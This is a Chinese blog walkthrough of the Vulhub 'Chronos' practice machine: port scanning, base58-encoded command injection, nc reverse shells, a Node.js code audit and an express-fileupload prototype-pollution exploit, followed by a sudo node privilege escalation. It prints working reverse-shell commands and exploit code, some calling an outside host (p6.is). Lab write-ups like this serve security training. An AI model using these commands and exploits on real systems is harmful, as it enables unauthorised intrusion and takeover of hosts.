• 【打靶】vulhub打靶复现系列3---Chronos


    【打靶】vulhub打靶复现系列3---Chronos

    一、主机探测

    结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议

    tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。​

    二、端口扫描

    nmap -p- -sV -T4 192.168.56.104

    ssh可以爆破(hydra

    http直接去访问(先看下80端口下的页面)

    三、撕口子--功能点测试

    发现页面没有什么东西,两种思路:

    • 1、爬站
    • 2、查看源码查询调用隐藏接口和调用脚本等

    发现其源码中有调用一个脚本

    发现进行了编码

    通过cyberchef美化一下,地址​​CyberChef (gchq.github.io)​

    发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)

    四、尝试利用——查看源码

    去改host文件,将192.168.56.104定向到chronos.local

    注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

    ping一下

    配置成功

    再次访问网页

    发现多出下面这行uts时间

    抓包观察发现是下面这个数据包的响应包

    当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)

    直接去cyberchef里的magic模块去撞就行

    可以猜测出是base58编码

    而此时观察请求包会发现很像是linux的data命令

    '+Today is %A, %B %d, %Y %H:%M:%S.'

    六、验证猜想——配合终端进行验证

    尝试在kali上验证猜想

    确认了猜想和其运行是一致的

    这里是调用了系统指令进行回显的.

    因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?

    那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去

    方法有

    ;
    |
    ||
    &&
    这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)

    因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行

    成功验证了猜想

    七、进一步利用--尝试nc反弹

    先去查找有无nc

    存在nc,下一步反弹shell

    返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

    八、nc利用——判断有无-e参数

    直接指令判断可以执行就说明有-e参数

    在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。

    使用-e参数的语法如下:

    nc -e  

    其中,​​是要执行的命令,​​是目标主机的IP地址或域名,​​是目标主机的端口号。

    使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。

    输入指令

    nc 192.168.56.103 4444 -e /bin/bash

    对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

    发现没有回连,采用之前的nc串联来代替-e参数反弹shell

    九、精化&骚操作——nc串联获取shell

    nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555

    这里注意:尽量前后都加个空格吧

    十、主机信息收集

    发现user.txt这个文件需要提权

    十一、(常规)提权

    # linux提权方法
    ## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击
    ## 方法二、suid权限配置错误导致提权,suid命令查看超管用户
    ## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的
    
    
    但很不幸,这些提权手段都不适用

    十二、代码审计

    跳到目录下

    发现是js写的服务端,这种情况少见(据说少见)

    nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web

    开始审计package.json

    发现各个封装好的包/库

    审计app.js

    这是重定向的url等

    base58解码,拼接到cmd的代码

    判断agent的字段内容

    在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

    成功验证代审的分析结果

    其中当agent==chronos时候进一步的判断(下一个if语句)表示

    也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令

    翻阅过后没有什么显著的利用点,继续深挖

    十三、代码审计深挖——找利用点撕口子

    发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来

    看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

    发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到

    ​Access denied | www.bleepingcomputer.com used Cloudflare to restrict access​

    通过下面的参考链接来到:​​p6.is(现在让网页篡改了)​

    意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

    通过上面的文章找到可利用的简化exp

    import requests
     
    cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
     
    # pollute
    requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
        None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
     
    # execute command
    requests.get('http://p6.is:7777')

    只需要将这段代码中的部分进行替换,替换规则如下如下

    p6.is/8888 替换为 kali攻击机的ip/监听端口 
    p6.is:7777 替换为 目标ip:目标web应用程序运行端口

     将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;

    import requests
     
    cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'
     
    # pollute
    requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
        None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
     
    # execute command
    requests.get('http://127.0.0.1:8080')

    写好文件之后kali攻击机开启web服务

    python3 -m http.server 80 

    通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)

    成功上传exp.py

    下一步运行就行

    十四、getshell——获取第一个flag

    但是获取的仅仅是上面的imara的shell

    去看下那个txt能不能看

    成功!获取到一个flag了

    十五、乘胜追击——获取root用户下的flag

    根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

    十六、提权——利用sudo下可调用的node

    还是之前说的三种方法先试一下,发现可以sudo

    意思是不需要输入密码的前提下执行npm和node指令

    sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

    这段代码是通过node指令提权的代码(网上找的)

    意思是通过调用node--》生成子进程---》调用root权限的shell

    提权成功

     打靶总结

  • 相关阅读:
    rk3128投影仪lcd显示四周显示不完整解决
    ZEMAX | 室内照明案例分享1 :照度分布的模拟
    Android 安卓通过bindService ServiceConnection 没有响应的问题
    python5
    5.26~5.27
    MyBatis-Plus——查询和删除(逻辑删除)
    LeetCode中等题题分享(5)
    知识图谱(2)词汇挖掘与实体识别
    【React 】useLayoutEffect 和 useEffect的区别
    力扣热题100——一刷day03
  • 原文地址:https://blog.csdn.net/weixin_52351575/article/details/134056715